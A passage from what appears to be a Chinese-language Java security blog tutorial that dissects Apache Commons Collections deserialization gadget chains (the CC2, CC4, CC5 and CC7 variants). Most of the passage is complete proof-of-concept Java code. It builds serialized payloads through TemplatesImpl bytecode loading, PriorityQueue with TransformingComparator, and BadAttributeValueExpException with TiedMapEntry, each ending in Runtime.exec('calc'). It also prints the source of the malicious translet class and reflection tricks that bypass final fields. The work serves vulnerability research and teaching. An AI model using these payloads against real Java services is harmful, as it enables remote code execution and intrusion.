AAIAJQAAAAQAAQAmAAEAHwAnAAIAFAAAAEkAAAAEAAAAAbEAAAACABUAAAAGAAEAAAAmABYAAAAqAAQAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAKAApAAIAAAABACoAKwADACUAAAAEAAEAJgAIACwAEwABABQAAABmAAMAAQAAABe4AAsSDLYADUunAA1LuwAPWSq3ABC/sQABAAAACQAMAA4AAwAVAAAAFgAFAAAAFQAJABgADAAWAA0AFwAWABkAFgAAAAwAAQANAAkALQAuAAAALwAAAAcAAkwHADAJAAIAMQAAAAIAMgBPAAAACgABADsANABOAAk="); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");

Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}) // // 调用 TemplatesImpl::newTransformer() 进行弹窗
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "heihu577"); // 准备一个非恶意的 HashMap, 避免在调用 TiedMapEntry::hashCode 时顺便调用了恶意 LazyMap 中的 get 方法, 从而 put 时就调用了链路, 导致序列化时产生了非预期
HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
hsMap.put(tiedMapEntry, null); // put 时, 调用 TiedMapEntry::hashCode 方法也无所谓, 因为 TiedMapEntry 下的 map 属性是一个正常的 Map, 不会调用链路
Field lazyMapDst = tiedMapEntry.getClass().getDeclaredField("map"); // put 完毕之后, 我们需要通过反射改回我们的恶意 Map, 也就是 LazyMap, 以便生成的 POC 打到目标机器时可以走我们的恶意链路.
lazyMapDst.setAccessible(true);
lazyMapDst.set(tiedMapEntry, lazyMap); // 将 map 改回
serialize(hsMap);
unserialize();
}

public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}

/*
图中的 BASE64 是如下类的字节码 BASE64 后的值:
public class CMD extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
static {
try {
Process exec = Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
*/

最终运行即可弹出计算器. 最终链条梳理:

HashMap::readObject
TiedMapEntry::hashCode
LazyMap::get
ChainedTransformer::transform
ConstantTransformer::transform
InvokerTransformer::transform
TemplatesImpl::newTransformer -> TemplatesImpl::getTransletInstance -> TemplatesImpl::defineTransletClasses -> TransletClassLoader::defineClass
TrAXFilter::带参构造

前面我们使用的是InvokerTransformer::transform方法调用到了我们的TemplatesImpl::newTransformer, 那么我们在这里可以查看一下,TemplatesImpl::newTransformer被谁调用了.

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240927161007219.png

可以看到的是,TrAXFilter(Templates)构造方法中, 进行主动的调用了我们的newTransformer方法, 但是这个类不可以被序列化:

public class XMLFilterImpl implements XMLFilter, EntityResolver, DTDHandler, ContentHandler, ErrorHandler {}

public class TrAXFilter extends XMLFilterImpl {
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
_transformer = (TransformerImpl) templates.newTransformer();
// ... 其他代码
}
}
InstantiateTransformer::transform 实例化类

在我们之前Runtime.exec命令执行操作时, 解决办法是通过传递Runtime.class, 因为Class允许被序列化, 那么这里有没有一个类允许传递过来Class从而对其实例化操作呢?实际上是有的:

public class InstantiateTransformer implements Transformer, Serializable {
private final Class[] iParamTypes;
private final Object[] iArgs;

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
}
// ... 其他代码
}

我们可以看到的是, 这个InstantiateTransformer::transform的功能是: 接收一个 Class, 得到它的构造器, 进行 newInstance 操作.

这一点刚刚满足我们TrAXFilter::带参构造的需求! 那么构造POC:

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
name.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = new BASE64Decoder().decodeBuffer("恶意类字节码 Base64 后的值, 可以使用 Base64.getEncoder().encodeToString(Repository.lookupClass(具体类.class).getBytes()) 进行生成"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 接收任意参数, 返回 TrAXFilter.class 这个类
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) // TrAXFilter.class 作为 InstantiateTransformer::transform 的参数调用过去, 从而调用到了 templates.newTransformer 方法, 进入类加载器
});

HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "heihu577"); // 准备一个非恶意的 HashMap, 避免在调用 TiedMapEntry::hashCode 时顺便调用了恶意 LazyMap 中的 get 方法, 从而 put 时就调用了链路, 导致序列化时产生了非预期
HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
hsMap.put(tiedMapEntry, null); // put 时, 调用 TiedMapEntry::hashCode 方法也无所谓, 因为 TiedMapEntry 下的 map 属性是一个正常的 Map, 不会调用链路
Field lazyMapDst = tiedMapEntry.getClass().getDeclaredField("map"); // put 完毕之后, 我们需要通过反射改回我们的恶意 Map, 也就是 LazyMap, 以便生成的 POC 打到目标机器时可以走我们的恶意链路.
lazyMapDst.setAccessible(true);
lazyMapDst.set(tiedMapEntry, lazyMap); // 将 map 改回
serialize(hsMap);
unserialize();
}

public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}

运行弹出计算器, 下面来梳理一下链路:

HashMap::readObject
TiedMapEntry::hashCode
LazyMap::get
ChainedTransformer::transform
ConstantTransformer::transform
InstantiateTransformer::transform
TrAXFilter::带参构造
TemplatesImpl::newTransformer -> TemplatesImpl::getTransletInstance -> TemplatesImpl::defineTransletClasses -> TransletClassLoader::defineClass

CC4 链路 (版本1) >= jdk1.8.0_131 俗称CC2

Apache Commons Collections中更新了一个最新版本, 这个版本与原来第三个版本略有区别, 但不多, 笔者在这里放出来看一下:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240927200918743.png

可以看到, 该有的功能都在. 只不过多了一些泛型进行修饰, 所以我们刚刚上面的那一条链路仍然可以使用, 而CC4中也存在新的链条, 下面我们来分析新链条.

TransformingComparator::compare 链式调用

在CC4中,TransformingComparator允许序列化操作, 但CC3中不允许, 它的类定义如下:

public class TransformingComparator<I, O> implements Comparator<I>, Serializable { // 注意实现了 Comparator, 并且CC4支持序列化
private final Transformer<? super I, ? extends O> transformer; // transformer 是 Transformer 类型

public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}

public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1); // 存在 transform 方法调用
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2); // decorated 也不能设置为空, 否则在我们序列化时, 前面的调用者调用到这里的话, 会抛出空指针异常.
/*
decorated 可以选择 NullComparator, NullComparator 可序列化, 它的 compare 方法定义如下:
public int compare(final E o1, final E o2) {
if(o1 == o2) { return 0; }
if(o1 == null) { return this.nullsAreHigh ? 1 : -1; }
if(o2 == null) { return this.nullsAreHigh ? -1 : 1; }
return this.nonNullComparator.compare(o1, o2);
}
*/
}
}

那么这里我们就可以接着查找, 谁调用了compare方法

PriorityQueue::readObject 入口点 & PriorityQueue::siftDownUsingComparator 链式调用

最终在PriorityQueue::siftDownUsingComparator方法中找到了compare方法调用, 这里PriorityQueue类是一个队列类, 该类同样实现了Serializable接口, 同样也是可序列化的, 代码定义如下:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240927213535179.png

这里注意一下, 调用到的 comparator.compare(参数1, 参数2) 的 参数1 是可控的, 我们只需要在往这个队列中add数据即可.

我们这里注意heapify方法中的for循环判断,size变量最少为2时, 向右移一位才可以正常进入for循环, 如图:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240927215125473.png

所以我们在构造POC时, 一定要将这个队列的大小最少设置为2才行. 设置为2也就意味着向这个队列add两次数据, 我们看一下PriorityQueue::add方法做了什么:

public boolean add(E e) {
return offer(e); // 调用 offer
}

public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size; // 当前队列大小
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e); // 大小不为0, 调用 siftUp
return true;
}

private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x); // 这里会走向我们的链路终端
else
siftUpComparable(k, x);
}

这个问题, 类似于我们之前的HashMap中的问题解决, 我们只需要add方法前切断链路,add方法后通过反射修复链路即可.

当然这个类的构造器定义如下:

public PriorityQueue(Comparator<? super E> comparator) {
this(DEFAULT_INITIAL_CAPACITY, comparator);
}

public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator; // private final Comparator<? super E> comparator;
}

而由于TransformingComparator实现了Comparator, 所以可以进行正常赋值.

TransformingComparator::readObject方法中直接进行了调用comparator.compare方法, 所以这里也是一个Gadget. 编写POC:

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
name.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = new BASE64Decoder().decodeBuffer("恶意类的 Base64"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");

ConstantTransformer tmpTransformer = new ConstantTransformer(TrAXFilter.class); // 绕过 add 两次时走向我们的链路.
TransformingComparator transformingComparator = new TransformingComparator(tmpTransformer, new NullComparator()); // tmpTransformer 先扔进去
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add("heihu");
priorityQueue.add("577"); // add 的第二次走向链路终端, 因为我们仍的是 tmpTransformer, 所以不会调用到我们的恶意类中.

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 接收任意参数, 返回 TrAXFilter.class 这个类
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) // TrAXFilter.class 作为 InstantiateTransformer::transform 的参数调用过去, 从而调用到了 templates.newTransformer 方法, 进入类加载器
});
Field transformer = transformingComparator.getClass().getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, chainedTransformer); // add 方法走完, 再改回来我们的恶意类

serialize(priorityQueue);
unserialize();
}


public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}

运行即可弹出计算器. 最终链路梳理如下:

PriorityQueue::readObject
TransformingComparator::compare
ChainedTransformer::transform
ConstantTransformer::transform
InstantiateTransformer::transform
TrAXFilter::带参构造
TemplatesImpl::newTransformer -> TemplatesImpl::getTransletInstance -> TemplatesImpl::defineTransletClasses -> TransletClassLoader::defineClass
反射修改 final 变量的值

为了能让我们的序列化按照正常流程走完, 在之前我们add前后的无效赋值操作, 中间参与了一个NullComparator对象, 具体代码如下:

TransformingComparator transformingComparator = new TransformingComparator(tmpTransformer, new NullComparator()); // 注意这里的 NullComparator, 是为了防止第二次 priorityQueue.add 时, 进入我们恶意类的 compare 方法的.
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add("heihu");
priorityQueue.add("577");

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
Field transformer = transformingComparator.getClass().getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, chainedTransformer); // add 方法走完, 再改回来我们的恶意类

这样的解决方法并不划算, 因为NullComparator并没有在实际的反序列化链路里面, 让这么一个类帮助我们生成POC有点不划算, 因为我们不可能仅仅为了让我们的POC可以正常运行, 从而大费周折的去寻找一个可以执行的类. 那么我们应该怎么无效赋值才划算呢?

PriorityQueue这个类add方法, 我们观察一下:

public boolean add(E e) {
return offer(e); // 调用 offer
}

public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e); // 调用 siftUp
return true;
}

private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x); // 如果是 null, 走到这里
}

private void siftUpComparable(int k, E x) { // 默认的比较形式
Comparable<? super E> key = (Comparable<? super E>) x;
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (key.compareTo((E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = key;
}

那么我们干脆直接不对comparator进行赋值了, 在我们add之后再进行赋值, 但是comparator的类修饰符为final, 如下:

private final Comparator<? super E> comparator;

但是通过反射, 我们可以修改该字段的访问修饰符, 所以我们无需赋值失败问题, 最终POC:

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = new BASE64Decoder().decodeBuffer("恶意类的 BASE64");
bytecodes.set(templates, myBytes);
name.set(templates, "");

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer, null);
PriorityQueue priorityQueue = new PriorityQueue(); // 注意这里, 干脆直接不赋值
priorityQueue.add("heihu");
priorityQueue.add("577"); // add 的第二次走向 PriorityQueue comparator 不赋值的情况

Field transformer = priorityQueue.getClass().getDeclaredField("comparator");
transformer.setAccessible(true); // 允许爆破
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(transformer, transformer.getModifiers() & ~Modifier.FINAL); // 让其 final 也允许被赋值

transformer.set(priorityQueue, transformingComparator); // add 方法走完, 再改回来我们的恶意类

serialize(priorityQueue);
unserialize();
}


public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}

运行即可弹出计算器.

修改 size 防止序列化时进入链路

由于priorityQueue.add是当size = 2时, 会调用进链路, 那么我们可以第一次add后, 将size改为0, 第二次add后, 将size改为2, 这样更方便一点, 就不用在调用进链路时, 去切断链路了, 因为从开头就已经切断了:

PriorityQueue priorityQueue = new PriorityQueue(xxx);
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);

priorityQueue.add(templates); // 将可控的 templates 传入
size.set(priorityQueue, 0); // 通过修改 size, 防止 add 方法调用到链路
priorityQueue.add(templates);
size.set(priorityQueue, 2); // 将 size 改回正常的, 防止反序列化时进入不了链路

后面在使用CB链路中笔者会通过这种方式演示.

CC4 链路 (版本2) 无数组版本 >= jdk1.8.0_131 俗称CC4

这个版本都是利用前面我们所学习过的作为链路的, 我们中间使用InstantiateTransformer::transform进行实例化TrAXFilter::带参构造从而调用到了Xalan ClassLoader, 通过ConstantTransformer::transform解决了readObject传递过来的数据并不是任意的问题.

而这里由于PriorityQueue::readObject的入口点可以传递任意对象到我们的链路中, 所以我们可以直接传递一个TemplatesImpl对象过去, 通过调用InvokerTransformer::transform去调用我们TemplatesImpl::newTransformer方法即可, 编写POC:

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
name.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = new BASE64Decoder().decodeBuffer("恶意字节码的 BASE64 值"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");

// ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
// new ConstantTransformer(TrAXFilter.class), // 接收任意参数, 返回 TrAXFilter.class 这个类
// new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) // TrAXFilter.class 作为 InstantiateTransformer::transform 的参数调用过去, 从而调用到了 templates.newTransformer 方法, 进入类加载器
// });

InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
ConstantTransformer<Object, Object> tmpTransformer = new ConstantTransformer("tmp"); // 对其进行一次无效赋值
TransformingComparator transformingComparator = new TransformingComparator(tmpTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);

Field transformer = transformingComparator.getClass().getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, invokerTransformer); // add 方法走完, 再改回来我们的恶意类

serialize(priorityQueue);
unserialize();
}


public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}

这个链的特性则是无需使用ChainedTransformer, 也就避免了Transformer[]这个数组的使用, 运行弹出计算器, 整个链路如下:

PriorityQueue::readObject
TransformingComparator::compare
InvokerTransformer::transform
TemplatesImpl::newTransformer -> TemplatesImpl::getTransletInstance -> TemplatesImpl::defineTransletClasses -> TransletClassLoader::defineClass

CC4 链路 (版本3) 俗称 CC5

这个版本的CC链路, 与之前的CC链路基本相同, 只是开头变了, 本来链路如下:

AnnotationInvocationHandler::readObject
AnnotationInvocationHandler::invoke
LazyMap::get
ChainedTransformer::transform
ConstantTransformer::transform
InvokerTransformer::transform
Runtime::getRuntime

而现在触发LazyMap::get不再使用AnnotationInvocationHandler::invoke && AnnotationInvocationHandler::readObject了.

TiedMapEntry::toString 链式调用

我们看一下TiedMapEntry::toString这个函数定义:

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private final Map map;
private final Object key;

public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

public Object getValue() {
return map.get(key); // 传递的 key 可控
}

public String toString() {
return getKey() + "=" + getValue(); // 注意 getValue 方法
}
}

当然, 这里就直接调用到map.get(可控值)方法了, 我们后续直接把map属性设置为LazyMap即可, 所以这里也是一条链路.

BadAttributeValueExpException::readObject 入口方法 - 调用 toString

BadAttributeValueExpException::readObject中调用了任意对象.toString方法, 我们可以看一下这个方法定义:

public class BadAttributeValueExpException extends Exception  { // public class Exception extends Throwable {}, public class Throwable implements Serializable {}, 所以这里是可序列化的.
private Object val;

public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString(); // 这里会自动调用 toString 方法, 可以作为后续无效赋值进行切断链路的点
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString(); // 注意这里
} else {
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}

那么完整的链路已经构造完毕, 我们编写POC测试:

public class Main4 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, InvocationTargetException, NoSuchFieldException {
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer); // 创建一个 lazyMap 对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "heihu577");
BadAttributeValueExpException o = new BadAttributeValueExpException(null); // 防止构造方法中就调用 toString
Field val = o.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(o, tiedMapEntry); // 避开构造方法之后, 通过反射改回来恶意对象
serialize(o);
unserialize();
}

public static void serialize(Object o) throws IOException, IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
}

运行弹出计算器, 其中链路如下:

BadAttributeValueExpException::readObject
TiedMapEntry::toString
LazyMap::get
ChainedTransformer::transform
ConstantTransformer::transform
InvokerTransformer::transform
Runtime::getRuntime

CC4 链路 (版本4) 俗称 CC7

这个链路有一个hash碰撞的问题, 为了方便研究, 笔者先把这个链路的调用链放出来.

Hashtable::readObject
AbstractMap::equals
LazyMap::get
ChainedTransformer::transform
ConstantTransformer::transform
InvokerTransformer::transform
Runtime::getRuntime

当然这里我们需要理解Hashtable::put方法的流程, 以及LazyMap::put方法.

Hashtable::put 流程分析

Hashtable 与 HashMap 的功能是类似的, 在 JDK 高版本中, 开发了 HashMap, 替代了 Hashtable.

那么我们准备如下代码, 进行分析:

Hashtable<Object, Object> hstable = new Hashtable<>();
hstable.put("hello", "world");
hstable.put("heihu", "577");

我们对put方法打上断点, 看它做了什么操作.

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240929204904857.png

在上面两次put的代码我们可以看到的是, 如果两个keyhashCode()方法处理后,hash不同, 就不会调用到entry.key.equals(key)中去. 而如果hash相同, 则不会调用到addEntry方法, 底层table数组也不会改变.

String::hashCode hash 碰撞

在上面我们也看到了,String::hashCode方法的定义如下:

public int hashCode() {
int h = hash; // 默认为0
if (h == 0 && value.length > 0) {
char val[] = value; // private final char value[]; String 包装的每个字符串, 用 char[] 进行包装
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
/* 假设字符串 ab
31 * 0 + a的ASCII
a的ASCII * 31 + b的ASCII
... 以此类推
*/
}
hash = h;
}
return h;
}

那么我们是否可以构建出两个不同的字符串, 但hashCode相同的字符串呢?编写如下python脚本:

myDict1 = {}
for i in range(1,127):
for j in range(1,127):
key = i * 31 + j
nowKey = myDict1.get(key)
if nowKey != None:
print(nowKey + " = " + (chr(i) + chr(j)))
myDict1[key] = chr(i) + chr(j)

最终可以跑出一系列字符串不同, 但hashCode相同的字符串:

System.out.println("}~".hashCode()); // 4001
System.out.println("~_".hashCode()); // 4001
LazyMap 类构成

在前面链路中, 我们的确使用了LazyMap, 但我们并没有对LazyMap做进一步的分析, 而是构造POC直接打, 现在我们再来看一看LazyMap:

public abstract class AbstractMapDecorator implements Map {
protected transient Map map;
public AbstractMapDecorator(Map map) {
this.map = map; // 将外部传递过来的 map 放到成员属性中
}

public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object); // 当调用 equals, 直接调用 map 属性的 equals
}
}

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
protected final Transformer factory;

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value); // 其实也是对原生的 map 进行操作
return value;
}
return map.get(key);
}
}

根据上面的类关系, 说明了一个问题,LazyMap只是将外部传递过来的Map进行封装到属性里了,get, put方法等, 都是在这个map上进行操作的, 下面用代码进行理解:

HashMap<Object, Object> hsMap = new HashMap<>();
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hsMap, new ConstantTransformer("1"));
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hsMap, new ConstantTransformer("1"));
lazyMap1.put("heihu", "577"); // 对 LazyMap1 进行 put
System.out.println(lazyMap2.get("heihu")); // 577
System.out.println(hsMap.get("heihu")); // 577

因为两者操作的都是第一行的HashMap, 所以lazyMap1 && lazyMap2的一系列操作等同于操作的同一个对象, 如果不想操作同一个对象必须传递的HashMap不同, 如下代码:

HashMap<Object, Object> hsMap1 = new HashMap<>();
HashMap<Object, Object> hsMap2 = new HashMap<>();
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hsMap1, new ConstantTransformer("1"));
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hsMap2, new ConstantTransformer("1"));
lazyMap1.put("heihu", "577"); // 对 LazyMap1 进行 put
System.out.println(lazyMap2.get("heihu")); // 1. 当 lazyMap2::map 属性中没有这个 key 的时候, 会调用到 ConstantTransformer::transform 方法, 而 ConstantTransformer::transform 返回了 1

现在大致LazyMap的操作流程我们已经梳理清楚了, 下面我们再来看一下LazyMap::hashCode方法的定义:

public abstract class AbstractMapDecorator implements Map {
public int hashCode() {
return map.hashCode(); // 会调用外部传递过来的 hashCode 方法
}
}
public class LazyMap extends AbstractMapDecorator implements Map, Serializable { ... }

那么我们假设传递过去的MapHashMap, 看一下HashMap::hashCode方法:

public abstract class AbstractMap<K,V> implements Map<K,V> {
public int hashCode() { // LazyMap.hashCode() 实际上调用到这里
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext())
h += i.next().hashCode(); // 对每一个 Entry 进行调用 hashCode() 方法, 然后加到 h 变量中
return h;
}
}

public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
static class Node<K,V> implements Map.Entry<K,V> {
final int hash;
final K key;
V value;
Node<K,V> next;

public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value); // 每个 entry 是由 entry[key].hashCode ^ entry[value].hashCode 的运算结果
}
}
}

public Class Object {
public static int hashCode(Object o) {
return o != null ? o.hashCode() : 0; // 不是 null 就调用 hashCode
}
}

可以看到的是, 如果对LazyMap进行hashCode操作, 实际上会调用到HashMap$Node.hashCode中.HashMap$Node.hashCode的算法只是将key && value都进行异或操作了.

这里假设两个LazyMapvalue值相同, 而Key使用了不同字符但hashCode相同的字符, 那么这两个LazyMap所计算出来的hashCode应该也是相同的, 代码测试如下:

HashMap<Object, Object> hsMap1 = new HashMap<>();
HashMap<Object, Object> hsMap2 = new HashMap<>();
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hsMap1, new ConstantTransformer("1"));
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hsMap2, new ConstantTransformer("1"));
lazyMap1.put("}S", 1); // }S 的 hashCode 与 ~4 的 hashCode 相同.
lazyMap2.put("~4", 1);
System.out.println(lazyMap1.hashCode()); // 3959
System.out.println(lazyMap2.hashCode()); // 3959

那么我们理解完上述所有内容之后, 开始挖掘这个CC链.

AbstractMapDecorator::equals 链式调用

回到挖掘CC链,AbstractMap::equals调用了LazyMap::get方法.

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240929222335957.png

